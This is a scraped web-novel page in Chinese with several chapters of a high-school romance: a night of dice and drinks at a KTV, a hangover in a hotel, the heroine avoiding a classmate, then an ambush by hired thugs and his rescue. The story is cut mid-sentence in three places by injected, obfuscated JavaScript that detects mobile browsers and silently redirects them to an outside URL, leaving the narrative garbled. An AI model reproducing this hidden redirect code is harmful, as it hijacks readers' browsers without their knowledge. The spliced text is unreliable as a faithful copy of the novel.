宋京承起先还以为自己走错了包间,纳闷的往外探着身子瞅了一眼包间号:“没走错啊?” 后面的人推了推他:“你瞎啊,看不见阿年也在这儿?” 柏璟试探着伸出手打了个招呼:“嗨?” 她其实有些好奇,温恒年跟他们不像是一路子的人,为什么会走到一块儿去呢? 许是看出来了柏璟的心思,少年淡声的解释着:“宋京承我们从小学就认识了,初中的时候……” 他顿了顿,继续道:“我爸妈离婚,那段时间我情绪不太好,他帮了我很多。” 具体帮了些什么,温恒年没说,碍于是他的私事,柏璟也没再追问下去。 见门口那群人不动身,温恒年轻描淡写说着:“愣着干什么?打算站外面摇一晚上骰子?” 那群人这才反应过来似的,宋京承急忙摆了摆手:“坐坐坐,都坐。” 柏璟右手边坐的温恒年,左手那边有三四个人的位置,那伙人硬是挤在了沙发的另一边,甚至有两个人坐在了沙发的扶手上,她的左手往后,空空荡荡的。 自己是什么煞神吗? 柏璟有点诧异。 宋京承悄悄凑近温恒年耳边,轻声问了句:“阿年,这不黎妆那发小吗?” “嗯。”少年语气没什么起伏的哼了一声。 宋京承表情稍微复杂的扫了他们二人一眼:“你们俩这是……好了?” 温恒年开酒的手停了下,接着幽幽的看向他:“你从哪儿看出来的?” 宋京承悻悻的耸肩道:“你没叫别的女生出来玩过,突然带了一个,难怪我会想多嘛!” 说完这句,他又想起来什么似的:“我靠,不会是上次你叫我们出来喝酒,我说让你找个人追追那句玩笑话你当真了吧?” 柏璟不知道两人在说什么,只是宋京承的眼神在自己身上来来回回荡了好几遍,她忍不住了:“我看上去很奇怪吗?” 男生听到她开口,触了电似的急忙摆手:“没有,没有!” 柏璟:“……” 好在这群人自来熟得很,有一两个人之前也都见过,尴尬也只持续了刚进来的前五分钟,有人点了歌之后,气氛便开始活跃起来。 第一个点歌的是个染了几缕蓝色挑染的男生,有些胖胖的,嗓音倒是很好听,点了首现在最热的情歌。 柏璟就着这歌声,往自己被子里倒了杯苏打酒。 度数很低,她尝了一口,甜甜的,是蓝莓味。 柏璟小小的砸吧了一下嘴,试图尝出一丝酒精味。 没有。 她有些雀跃的,把这杯喝完之后又倒满上。 酒吧里的杯子挺大的,这种小瓶的苏打酒满一杯就能倒完。 一瓶下肚之后,柏璟还有些意犹未尽的看向另一个口味儿的。 那个瓶子里装的是粉色的液体,应该是草莓味儿的。 只可惜离自己有些远,她看了看周围正在摇骰子的一群人,有些泄气的弯着腰。 宋京承摇骰子的动作像是耍了一套武打戏,上上下下的,“砰”的一声扣在桌子上。 如果装逼有段位,他应该能排第一。 相对比起来,温恒年就低调的多。 “六个二。”其中一个人首先叫骰。 柏璟骰子玩的不是特别好,这里面的套路大多都不太明白,便凑的近了一些去观察。 稍稍这么往前一凑,一股淡淡的松香就钻入了鼻息间。 跟她之前在温恒年身上闻到的味道一样。 她压低声音说道:“你身上那个味道,是什么牌子的香水啊?” 那帮人玩的正热闹,她原本没想着温恒年会回答自己。 “洗衣液的味道吧。” 低沉的男声传来,柏璟一愣,脑子被这一道声音哄的有些迷糊。 温恒年伸手拿起一瓶粉色的酒放在柏璟面前,接着又叫了声宋京承,指了指他旁边的那几瓶:“都拿一样过来,再拆几个杯子。” 依次在柏璟摆好之后,她才发现,温恒年这是看出来了自己的小心思,把每种口味儿的酒都给自己放了一瓶。 她心里顿时涌上来一种说不穿道不明的感受,眼神侧过去异样的瞧了眼温恒年。 少年的表情很淡,像是什么都没做一样:“尝尝,喝不完那么多就每种倒一点。” 柏璟刚想说“不会很浪费吗?”,那人又开了口:“喝不了的放着就行。” 轮到温恒年的时候,已经喊到“十二个五了。” 柏璟低头看了眼温恒年的骰子,三个一两个五。 豹五这么好的点数,他应该会往上加的吧? 想法刚出来,温恒年就掀开了骰盖放在桌子上:“开。” “我草,温恒年你拿个豹子也敢开我啊!?”宋京承瞪着眼睛,似乎要把那五个骰子瞪穿。 柏璟以为温恒年要输了,却没想到温恒年的上家嘴角一耷拉:“我没。” 剩余的人加起来也就三个五。 温恒年这局赢得又险又漂亮。 “我他妈最讨厌的就是温恒年这种玩心理战术的人!”上家不服气的喝了酒,还不忘吐槽一句。 温恒年嘴角微微勾起,心情算是明朗了一些。 玩十几轮了之后,温恒年一口酒都没碰。 剩下的人多少有些不服气的哀嚎:“阿年,兄弟跟你掏心窝,你跟兄弟玩手法是吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044106|146054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少年虽然表情看上去很平静,但语气确实带了笑的:“没办法,菜是原罪。” “能不能行?我都等渴了。” 这两个字无疑是对他们的一种挑衅。 宋京承眼珠转了转,转到了柏璟身上: “不行,阿年你下去,让柏璟也来试试,我就不信你们襄城一高的人这么邪性!玩不过你跟黎妆,总不能柏璟也这么牛逼吧?” 柏璟愣了愣,她以为自己已经没什么存在感了,突然被提到名字,多少有些惊讶。 “我不擅长”这几个字还没说出口,少年便看向她:“想试试就试试?输了我替你喝。” 她迟疑几秒钟,点了点头:“那行。” 温恒年把骰子给她:“你随便摇就行。” 宋京承贱兮兮的一笑:“女士优先,那就从柏璟开始吧?” 柏璟稳稳的摇了几下,骰盅落在桌面之后,她看了眼,三个二,一个五,一个六。 七个人玩,八个数起喊。 这是游戏的规则。 “八个二。” 她喊完之后,看了眼旁边的温恒年,那人没给她什么提示,只是轻微点了下头示意她该怎么喊就怎么喊。 再轮到柏璟的时候,升到了十三个六。 柏璟只有一个六,她有些自信掀了盖子:“开。” 不知道是谁没忍住笑了一声:“温公子,不是渴了吗?喝吧?” 两个纯豹六,不带其他人的就已经够了。 柏璟抿了抿唇看着温恒年,对方自觉的拿起一瓶酒喝下。 随着瓶子里的液体逐渐减少,她心底也跟着那下降时颠起来的波浪颤了一颤,这瓶酒是自己刚刚倒出来尝味道没喝完的。 虽然她用的杯子,那瓶酒算是干净的,但是“她跟温恒年喝了同一瓶酒”的这个念头,还是让她莫名有些遐想。 …… 她深吸一口气:“再来!” 不能在想了。 可能是印证温恒年那句“渴了”,连着五六把都是柏璟输。 末了,她丧气道:“我不玩了,你自己来吧。” “别啊,我们不欺负你了,让让你行么?”之前输的最多的那个人听她这么说直接急了。 这要是让温恒年上场,自己刚刚开他带来的人那么多次,要是有心报仇,自个儿不得喝死啊? 柏璟侧身低声道:“要不然你来?我总输,让你一直喝也不太行…” “没事,你摇,接下来我帮你看骰。”温恒年敲了敲骰盅,示意她继续。 摇完之后,温恒年弯着身子,向她靠了过来看了眼骰面:“手气不错。” 是五个不一样的骰子,柏璟知道这叫顺子,游戏规则视为零。 这把开局就报的很高,十个六,让人不得不往上加,轮到柏璟的时候,温恒年点了点头,柏璟丝毫没有犹豫的:“开。” 赢了。 “操。”被开的那人认命的倒酒。 柏璟尝到了赢的乐趣,也逐渐放轻松自己,他们聊到什么话题的时候,偶尔也能插上几句话。 “哎,就咱们学校之前,有个叫岑周屿的,你们认识吗?” 谁突然说了这么一句话,柏璟摇骰子的手呆滞住了,这几个人都是职高的,跟她和温恒年不一个学校,认识岑周屿也不是什么稀奇事儿。 “之前不是跟咱们艺术系那系花儿谈了一段时间吗?” “你这消息不灵通啊?系花儿出国前,岑周屿就跟她分了,不然你以为系花儿为什么出的国啊?” “我最近怎么听说岑周屿在追个襄城一高的?哎——阿年,这你们学校的人啊?你知道这回事儿吗?” 被追的某个人——柏璟:“……” “不认识。”温恒年说道。 他说这话的时候,身子还没坐直,呼出的气息绕着柏璟的耳边缠了一圈,引来一阵儿热意。 柏璟不自在的歪着脑袋蹭了蹭那块儿被热意围着的位置。 其他人不清楚里面的故事,宋京承却是知道个一星半点的,他目光深深地看了眼温恒年,所以,这是在岑周屿手里抢人呢? 好在这个话题很快就过去了,一群人也重新进入了状态。 这酒闻着没什么酒气,也好入口,味道相当不错。 可惜后劲儿也大,喝的时候又掺了些别的品类的。 玩到后面,柏璟逐渐开始听不清温恒年说的话,一点点往那边挪着。 她只感觉自己脑袋里像是放了一块儿铁,又像是脚下垫了一片海绵,沉甸甸又轻飘飘。 脑子里最后一个念头闪过,柏璟有些悲哀的:完了,她上头了。 柏璟喝过酒之后跟常日里无异,这也让其他人以为她没什么事儿。 温恒年也是过了许久才注意到的,他起身去拿纸巾的时候,猛然看见柏璟抿唇的表情,跟上次在饭店的时候一模一样。 他站在柏璟旁边,俯下身子在她耳边说道:“柏璟,你是不是喝多了。” 女生重重地眨了眨眼,接着对上他的目光:“你说什么?” 温恒年目光幽深,眼神扫过她因为热意而染上一丝绯色的耳朵:“我说,你耳朵怎么这么容易红?” 22.酩酊 柏璟醒过来的时候,习惯性想要去拿床头柜上自己总会提前一晚上放在那里的水杯。 只不过这次却摸了个空。 坐起身来,她这才注意到房间里的装潢,床单,被子,都是白的。 柏璟身子僵硬,她没在自己租的地方,周围的环境告诉她这是个酒店。 她慌乱着查看了一下自己的衣服,完好无损,身上也没有什么可疑的痕迹。 确定自己确实无事发生,完好无损之后,柏璟紧绷的神经松懈下来,松了口气,接着后知后觉的开始懊恼。 她莫不是断片了吧!? 往前一天晚上回忆了一下,最后稳定的记忆片段停留在温恒年在自己耳边说着她喝多了,随后能想起来的就是碎片一样的画面。 温恒年似乎唱了歌? 那些画面中,少年投向自己的眼神很无奈。 她有些僵硬的回忆起来,似乎是自己非要听的,温恒年才拿起麦唱了半首。 至于为什么是半首,因为还没听完,她就已经没了记忆。 太丢人了。 柏璟双手捂着眼睛,指尖传来一阵刺痛,她皱了皱眉,这才发现食指的指甲盖有一块儿青紫,看上去像是被挤到的。 柏璟不敢继续回忆怎么受的伤,闻了闻自己身上散发出来的酒味儿之后,急忙起身去洗手间洗了个澡。 洗完出来已经是下午一点半了。 可怕的是恰逢今天开学,希望黎妆能帮忙请个假。 两点退房,柏璟收到了一笔五百块钱的房间押金。 前台小姐姐暧昧的眼神在她身上流转了千百回,她终究还是没忍住问出了口:“请问,我看上去有什么不对劲儿的吗?” 前台姐姐噗嗤笑了一声:“我是觉得你那个小男朋友对你可真好,小美女,你昨天都醉成那样了,他还能从酒店离开,只能说明他是个好男生喔。” “……” 柏璟惨白着一张脸出了酒店大门,拐角就有一家便利店,进去买了瓶矿泉水,看了眼手机所剩无几的电量,顺便扫了个充电宝之后,她按了按还在翻滚着的胃。 手机在出便利店的时候便关了机,她等了一会儿之后,刚开机,便进来了五六条消息。 【阿璟,听温恒年说你发烧了?】 【不是,你俩不会昨天一整天再加一整晚都在一块儿吧?】 【要不然怎么我都不知道,他先知道了?】 她敷衍了黎妆一句“没事儿”,接着点开另一个聊天框。 温恒年的头像是纯白色的,在同样颜色的界面中十分的不显眼: 【给你请假了,用的发烧的理由】 【来的时候别穿帮了】 【前台押金先退给你】 【不用转给我】 柏璟蹲在路边,沧桑着喝完了半瓶矿泉水,她琢磨着自己一头钻进马路被车撞死的可能性有多大。 这几大口水下肚,嗓子才湿润了几分,咽着没那么难受了。 不过既然已经请了病假,柏璟干脆给自己找点别的事儿做。 也不知道黎妆用了什么办法,昨天到现在池潭生还真稳得住,一个字儿都没跟她联系过。 柏璟良心不安,人从扬市来一趟也不是出房间门拐弯上厕所那么简单的事儿。 把人晾在酒店里总归不太好。 这么想了之后,柏璟立刻付出实际行动,给那人去了个电话。 连着响了两通都没人接。 得,这是真生气了。 宿醉后的头疼又反了上来,柏璟舔了舔干裂的唇,叫了个出租回住的地方。 空荡荡的房间让她沉静下来,脑子里又不合时宜的闪过回忆里的碎片。 柏璟有些发懵的,不知道那到底是真实发生过的,还是自己做的梦。 不过她倒是学到了一点儿—— 喝醉酒的感觉太差了,她以后碰这东西绝对张弛有度。 躺在床上没一会儿的时间,抑制不住胃里的难受和脑子一阵儿一阵儿的眩晕,柏璟重新睡了过去。 再次醒过来,已经天黑了。 胃里好受了许多,看了眼手机,除了黎妆发来的嘲讽的表情包之外,还是一根毛都没有。 这种空落落的感觉让她突然名生出一种脆弱的情绪。 其实她挺羡慕外向的黎妆,身边不管交好不交好,有点儿什么小事儿总会围了一圈人在旁边关心问候。 自己也曾试着像她那样去跟别人相处,可惜不知道是不是什么原因,并没有几个人吃她这一套。 她以前也曾听见几个人偷偷讨论的话: “柏璟突然给我们送礼物,是为什么啊?” “我也收到了……” “总有一种黄鼠狼给鸡拜年,不安好心的感觉。” “嗤,她那就是见没人跟她玩儿,心里着急。” 这是初中的时候,班里女生的对话。 柏璟那时候决定以后再也不干这种吃力不讨好的事情。 细想下来,除了一起长大的黎妆和池潭生,她似乎真的没别的玩的好的朋友了。 白天睡够了,晚上就没有了丝毫的困意。 柏璟躺在床上,百无聊赖刷着短视频。 也不知道是不是大数据影响,这个软件最近两天推送的都是一些网红拍段子的视频。 而且大多都关于什么“暧昧”“恋爱”。 换作以往,柏璟顺手就划了不感兴趣的选项。 但是…… 这会儿刷到的这一条,男主角的下半张脸,总让她觉得很眼熟。 看上去有点像……温恒年。 柏璟脑子里出现这个名字之后,手指一颤,不小心给那个视频点了个赞。 “操…”她小声骂了一句,接着把那个视频的红色小爱心点成白的。 她怀疑自己最近是不是跟温恒年接触太多的原因,脑子里莫名其妙,无时无刻,随便一个什么事物,哪怕毫不相干的,她也能想起来那人。 像着了魔一般。 柏璟不太喜欢这种感觉。 因为上周赵阁被人找到学校那事儿,当事人赵同学被停课一个月。 这事儿往大了说也挺严重,学校这也算是枪打出头鸟,杀鸡给猴看。 次日来到学校,柏璟一晚上都没怎么睡,早上起来的时候精神萎靡到一闭眼就能晕过去。 倒不是因为别的什么,只是自己那像智障一样的行为让她越想越躁。 也许是为了让自己安心,柏璟特意一整天都没有理温恒年。 出乎意料的,温恒年今天没迟到,坐位置前还给柏璟打了个招呼。 只是柏璟本人对他的那一声“早啊”视若无睹,课间更是一下课就趴在桌子上睡觉,丝毫不给对方跟自己搭话的机会。 中午吃饭时提前给黎妆打了暗号自己去学校门口等她,下午的自习课她更是跟后面黎妆同桌换了位置让对方够不到自己。 临近放学的时候,同桌学习委员沉默的感受了一下这诡异的气氛,大着胆子的问了温恒年一声:“你是不是跟柏璟闹别扭了?前两天不挺好的吗你们?我怎么感觉柏璟请了个假回来像是看见你上辈子挖了她的坟了似的?” 温恒年没吭声,眼神沉沉的望向明显在故意躲着自己的柏璟。 一天不见而已,这是发了什么神经? 柏璟从来没有觉得哪一天像现在这么难熬过,高中早恋被抓的时候教导主任叫她去办公室罚站一天,都没今天最后这节四十分钟的自习让人度日如年。 终于,在心里的秒表最后一声嘀嗒响起后,下课铃也敲响了。 学习委员郭振一边收拾着自己的东西,一边给温恒年支了个招: “哎,哄女生啊,就得悠着点儿来,先别管发什么什么事儿,就冲她们的尿性,你首先伏低做小道个歉就行!” 对方晦涩不明的看了他一眼,这一眼瞧得郭振打了个冷颤:“我开玩笑,你俩又不是小情侣,用不着床头打架床尾和那一套!” 温恒年数着数,算着柏璟会用多少时间躲开自己。 不出所料,半分钟都不到,温恒年低头捡个草稿纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056346|146054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间,后排的女生就一溜烟儿出了教室,没了人影。 走到校门口,旁观者清的黎妆这才忍不住,眼神带点戏谑地问她:“你今天怎么了啊?看上去慌里慌张的。” 柏璟精神紧绷了一天,好不容易松懈下来,叹了口气虚弱道:“没事儿,就是昨天没睡好。” “你这是没睡好,还是心里压着事儿想的太多?”黎妆问道。 柏璟皱着脸:“我自己缓缓吧。” “行吧。”黎妆想了想,又道,“不过你也有个分寸,你这样莫名其妙的躲着人也不是个办法,不知道的还以为他得罪你了。” 柏璟愣住了。 虽然把黎妆说的话听了进去。 可仍旧往后一连三四天,柏璟都没跟温恒年搭一句话,她倒是没费什么力,只要躲得及时,谁也抓不住自己的小辫子。 同一个小组的其他几位就没那么好受了,温恒年浑身散发的不爽简直能吞个人。 可偏偏周围还有个不怎么会看眼色,喜欢多嘴的:“哎哎,你说咱们组这俩人到底怎么回事儿?老班让前后排一块儿补课,这才刚开始咱们这个补习小队就破裂了?” 郭振暗自骂了一声真操蛋之后,努了努嘴:“诺,你没看柏璟不想搭理别人吗?” 他善良,到底还是没把那位不想被搭理的人的名字叫出来。 可惜另一个同学就没有这么细腻的心眼儿了:“我怎么觉得柏璟这是冲着温恒年来的?毕竟咱们平时跟她交涉的也不多?” 这话说完,这位同学似乎听到了什么嘎嘣的一声。 他惊恐的抬头看了看,温恒年面色平静道:“不好意思吵到你了,我铅笔笔芯断了。” 郭振摇了摇头,叹气道:“好好学习,放下屠刀,阿弥陀佛。” 放学后。 黎妆留下做值日,柏璟噎了下,直起身看了一眼,前排少年还在慢条斯理的收拾自己的东西,猝不及防之间,对方似乎感受到了自己的注视,转身幽幽的跟她对上了目光。 柏璟故作冷静的转过头,跟黎妆说了句自己先走,便转身离开了教室。 对自己为什么非得用躲着温恒年来解决这点刚冒出头的感情的理由,柏璟心底门儿清。 她有个毛病,喜欢的东西一旦得到手,就会产生厌恶情绪。 不论是对人,还是对物。 小时候的洋娃娃如此,不计后果追上的初恋也是如此。 正如黎妆所说,温恒年人挺好,她不想一时冲动之后连朋友都没得做。 好巧不巧的,刚出校门便碰到了宋京承那群人,她低着头想要快速走过去。 可惜那人是个眼尖的:“哎哎,柏璟!” 柏璟暗自叹了口气,停下脚步换了副表情:“怎么了?” “好巧啊,这么快又见面了?”宋京承乐呵着跟她打招呼。 柏璟僵硬的勾了勾唇:“是啊,挺巧。” “你那天在凯盛好像喝的不太舒服,后来还好吗?”宋京承想起来最后准备走的时候,柏璟脸色苍白的模样,顾着温恒年的面子,不由得多关心了一句。 好,好得很。 怎么会不好。 柏璟太阳穴又开始作痛:“还可以。” “温恒年呢?你们今天没一起啊?”宋京承往四周瞧了瞧,有些纳闷的,难道他真的感觉错了,难不成这俩人真的单纯如斯,没有一点儿猫腻? “应该还没出来吧?” 眼看着话题就要往那人身上扯,柏璟先发制人掐断了这个可能:“我还有点事儿得回去了,拜拜。” 这话音儿还没落,人就快要跑个没影。 宋京承有些诧异的看着近乎落荒而逃的柏璟挠了挠头:“什么情况?” 好在柏璟没走多久,温恒年便拖着步子跟他们碰上了,少年的表情实在是算不上好看:“哎阿年,我刚碰见柏璟了,慌里慌张的,她怎么了?” 温恒年听见这个名字,维持了一天的平静终于有了几丝裂缝:“不知道。” 一连几天了,跟他妈老鼠见了猫似的。 23.酩酊 可能有的人一辈子都碰不见一桩好事,但是坏事绝对不会独行。 柏璟还没来得及为自己躲过尴尬而舒一口气,便在离开宋京承视线之后注意到身后不知道什么时候多了几个人。 柏璟精神紧绷着,这条路上旁边七拐八拐的小路很多,这么多人跟自己是顺路的可能性几乎没有。 她开始确定下来身后不远处那群人是在跟踪自己。 她有些头疼,想着要不要往回走走找个人结伴而行。 早知道不逞强,在校门口等一会儿黎妆了。 亦或者是,像之前被搭讪那样,找个人堆儿过去掩藏一下自己。 对比了一下,后者显然更能帮到自己。 柏璟打量了一下周围,这一片儿的小吃摊儿已经不多了,偶尔几个还没什么人,前面大概快三十米的距离,有三个女生围在一块儿。 是不太好的选择,搞不好还会牵扯道别人。 柏璟硬着头皮往前又走了一段路,在发现人越来越少之后心里面不免有些悲哀。 她努力克制着自己接近颤抖的手,小心翼翼点开手机,联系人第一个是温恒年,她抿着唇,来不及逞自己别扭的性子,给对方发了个共享位置。 几乎是下一秒,她就被后面的人扯了下手臂。 柏璟反弹性的想要用力甩开,可惜没什么用,对方抓的很紧,指甲几乎都能刺破她的皮肤。 从投下来的阴影能感受出来对方是个男性。 “完蛋了”的上一个想法是“去你妈的大男的留这么长的指甲”。 柏璟被拽着进了旁边的小胡同里,抓着自己手臂那人狠狠把她往墙上一甩,嘴里骂到:“小娘们儿劲儿还挺大!” 背部撞到墙上的冲击力不小,要命的是那堵墙疙疙瘩瘩的并不平整,不知道蹭到什么东西,肩胛骨中间那一点似乎被穿透一般,痛到柏璟面目扭曲。 她从来没有被人这么对待过。 以前再有人看她不顺眼,但想到她爹柏盛昌处理事情的手段,别人纵使有再多的不满,咽也得咽下去。 这群人,她不太确定是什么时候惹上的。 不过挺奇怪,明明前面有人更少的一截儿路,怎么在这儿就冒着风险把她堵住了。 柏璟哀哀的为自己的倒霉暗暗的骂了句爹,难不成是柏盛昌生意上惹到的人来找麻烦了? 不过这个念头很快便被打消了,柏盛昌主要发展轨迹在扬市,之前有过襄城这边的合作,但也不至于结下什么梁子。 柏璟感受了一下后背中间最痛的那个点儿,不知道是心理作用还是事实,总觉得有血在往下渗。 耳边又多了个脚步声之后,她才明白了这群人选择这个地方的原因。 胡同里面还有一个人。 她看见这个人的一瞬间,嘴角没控制住抽出了一下。 是之前欺负程娅的那个女生,似乎是叫舒微? 柏璟舌尖顶了顶上颚,知道这事儿不会那么简单了。 怪不得呢,刚刚那一下原来是在报上次在后台被自个儿按墙上的仇。 想起来温恒年曾经劝自己别管那么多,而自己没当一回事儿。 再加上她单方面冷战这么多天。 柏璟心底颤抖着希望温恒年别因为自己那点儿小脾气忽视掉自己的消息。 却又在下一秒担心,舒微叫来的这几个人看上去都不是什么善茬儿,万一她没脱身,反倒把温恒年牵扯进来怎么办? 那个把她拽进来的男人在看清楚柏璟的模样之后怪异的吸了吸鼻子,露出一个阴森森的笑容:“小老板,你让我们抓这人长的还真挺不错啊。” 柏璟想要故作镇定,听这人口气应该是舒微花了钱雇来的,跟金钱沾了边儿的事情比起别的还算好解决。 “她给你们多少?我付双倍,只要你们放我走就行,如果我今天在这儿出了什么事,你们免不了要坐牢,不过要是你换个路走,收了我的钱,走出这条巷子,我权当什么都没发生过,怎么样?” 听上去是个妥协的办法,如果忽略掉她说话时候发抖的语调。 面前男人的面相看起来疲惫的很,眼窝深凹,脸颊两边瘦削的像一把锋利的刀。 而且不知道是不是柏璟的错觉,他身上有一股特别的味道,这气味儿不算好闻。 腐败而糜烂。 是她以前从来没有闻过的。 那人笑的露出一口牙齿,牙根隐隐约约有些发黑:“真是高中生,天真的要死。” 舒微不耐烦的摆了摆手,让男人让开,接着走到柏璟面前,盯着她的脸仔细看了很久。 柏璟屏起呼吸,她得稳住这群人,语气放的很平缓:“你想怎么出气?” 听她这么问,舒微脸上冷冽的表情终于破开裂缝,笑眯眯的伸出一只手拍了拍柏璟的脸:“妈的,你之前不是挺嚣张的吗?怎么今天这么有商有量的?” 力度不轻,柏璟想骂不敢骂的憋着气。 “我吧,原本有个好玩的玩具,虽然我不喜欢这个玩具,但是被别人弄走了我就会特别不爽。”舒微眼神逐渐冷下去,手从柏璟脸上划到她脖颈处。 下一秒,掌间收缩的力气立刻让柏璟窒息到喘不上气。 过了几秒钟,舒微把对方因不能呼吸而痛苦的表情欣赏了个够,才满意的松开手:“我这人一闲下来就想找点儿事做,你把程娅带走,要是之后有什么人缠上你了,你可别嫌我们烦。” 柏璟舌尖用力抵着牙,时间久了牙龈有些刺痛的,接着舌尖上便传来一股咸甜,应该是出血了。 胡同外。 来往的人并不多,因为不怎么见光,路过的人也不会多往这里面看一眼,柏璟开始绝望,硬着头皮想要拼一把试试能不能闯出去。 忽然的似乎有警笛的声音传来。 紧接着,一道低沉的嗓音从路口传来:“舒微,我报警了。” 这声音由远到近,当他站定到自己身前时,柏璟瞬间松懈下去,连带着后背上的伤处都有些麻木。 除了为首那个,其余连话都没说一句的几个小喽啰一听警笛声,便急忙骂着:“妈的你不是说就是来恐吓一个高中生吗?” “怎么还闹到警察那边呢!” “操.你.妈的,老子不奉陪了!” 不到两分钟,那群人便哄散开。 甚至有一个人路过温恒年的时候,还低声下气为自己开脱了一句:“这跟我可没关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过想到从黎妆那儿听到的温恒年他爹的事情,他也确实有这个能力说这种话。 可惜柏璟这会儿没心情跟他顶嘴。 那人又说:“不过会不会再来找你,我就不确定了。” 柏璟:“……” “放学等我送你回去?” 柏璟:“好!” 胡同里的光太暗,他看不清楚对方的脸,不过能清晰感觉到柏璟的情绪。 温恒年有些庆幸,还好自己找到了柏璟。 柏璟怀疑这阵子是不是真的被什么不干净的东西缠上了,又或许是被跟踪之后的后遗症。 虽说跟温恒年之间的气氛缓和了一些,不再那么尴尬,但回去路上两人还是一路都没有交流。 知道对方是被吓得不轻,温恒年也只是安安静静陪着她走。 到了楼下,柏璟白着一张脸才开口:“这事儿先别告诉黎妆,我会找人处理好的。” 具体怎么处理,温恒年也没问。 只是总要花些时间,那他就在这点时间里,负责把人看好就行。 24.酩酊 “嘶…” 柏璟活动了一下身子,肩胛骨中间那个部位便被牵扯出一些痛感。 “伤到了?”温恒年蹙了蹙眉。 柏璟叹气道:“不知道撞到什么上面了,等会儿我自己处理一下就行。” 那人问:“你能够得到吗?” 这位置确实不太方便。 柏璟鼻尖皱了皱:“明天去医院看下也行。” “等到明天更严重怎么办?”温恒年有些无奈,“柏璟,你面前就有个活生生的人。” 柏璟脑子空白着,等她反应过来,已经让温恒年跟着进屋了。 宽松的薄卫衣被掀到肩膀处,背对着温恒年站好时,柏璟脸上的热度从耳边蔓延至脖颈后,连带着肩膀都浮上一层浅浅的红。 少年挺正直,观察伤处的模样很认真:“伤口挺深的,应该是碰到了横钉。” 经他这么一描述,柏璟只觉得那疼痛又加深了一些。 “家里有药箱吗?”那人问。 柏璟给他指了个方向:“门口那个柜子最上面有,来襄城之前池潭生给放的。” “你那个男发小?” “嗯。” 不知道是哪句话刺激到了他,温恒年给自己涂药的动作显然不太温柔。 “操……你能不能轻点。”被消毒水这么一激,柏璟也顾不上礼貌,脏话直直的骂出口。 温恒年一边换着新棉签,一边说:“我刚不是说了吗?伤口很深,轻点消毒不彻底,容易感染。” 柏璟有些幽怨:“你真的不是为了报复我吗?” “我报复你什么?” 报复她前几天躲着你呗。 柏璟:“……没事。” 涂药的人心无旁骛,可柏璟却起了心猿意马。 两人离得太近,她甚至能感受到温恒年指尖传过来的温度,随着那人的动作一点一点缓慢的在自己身上移动着。 莫名的,柏璟觉得腰眼处又痒又麻。 “……好了没。” 实在忍不下去这种感受,柏璟撩下衣角侧了侧身子准备把两人的距离拉远一些。 落下去的衣服搭在他还没来得及放下的那只手上。 温恒年一只手按着她的肩膀,把人禁锢成之前的姿势:“别动,还得包扎一下。” 这动作来的太突然,又强势的让柏璟觉得不容反抗,她压低声音,语气听上去有些沉闷:“你不觉得这行为太暧昧了吗?” 身后的人手一顿:“原来你是在想这个。” 那不然呢? 柏璟有些气急。 “你要是觉得心里不舒服,可以把我当成黎妆。” 柏璟咕哝一句:“黎妆可没这么大力气,也不会按着我不让动。” 这话温恒年没听清,给人包扎完毕,才小心翼翼的把她衣服整理好:“现在结束了。” 柏璟这才得以脱离那种诡异的想法,装了一副若无其事的模样走到另一侧拉开窗帘,又把窗户打开。 外面的风吹进屋里,她身上的热意才被压制下去。 “小心点别碰水,有空还是得去趟医院,要是不想叫黎妆一起,可以叫上我。”温恒年收拾好药箱,指甲在最下面右边刻着的“池潭生专用”的字样上摩擦了几下,眸底有些暗沉。 没注意到他的小动作,柏璟在衣柜里翻了翻,揪出来一条围巾递给他:“外面起风了,有些冷,你带着这个回去吧。” 温恒年没接过来,挑了下眉:“着也是池潭生给你准备的?” “?”柏璟没听出来他话里面的刺儿,“我爸给买的。” 少年这才伸手拿了过去。 他今天身着一件黑色的风衣,脖子上的那条弯月项链在屋顶灯光的反射下格外的凸现亮度。 柏璟指了指那条项链:“我似乎没见你摘下来过这个?” 温恒年接过围巾之后,并没有第一时间围上,听到柏璟的话,一只手放在项链上捏了捏:“我妈留下来的。” 柏璟嗫嗫道:“呃,挺好看的。” 温恒年垂眸沉思几秒,问道:“你喜欢?” 柏璟没想到他会这么问,愣了下之后才回答:“还好吧。” 那人轻笑一声:“知道了。” - 温恒年回到家,还没进门,客厅里的欢笑便通过门缝传了出来。 他推开门,原本坐在沙发上吃薯片的温怡竹惊喜的跳下来,鞋都没有来得及穿的跑到自己跟前,一把抱上他的腿。 小孩子像个腿部挂件似的,温恒年艰难的迈开一步:“温娇娇,哥哥换个鞋子。” 温怡竹这才松开他:“哥哥,你这段时间怎么回来这么晚啊?每次我都睡着了,你还没到家。” 温恒年抬眼看了下沙发那边,温怡竹的妈妈在,还有家里做饭的陈姨,温展今天倒是没看见人影儿。 他换完鞋子,弯腰抱起小孩儿:“哥哥高三了,学习忙任务重。” 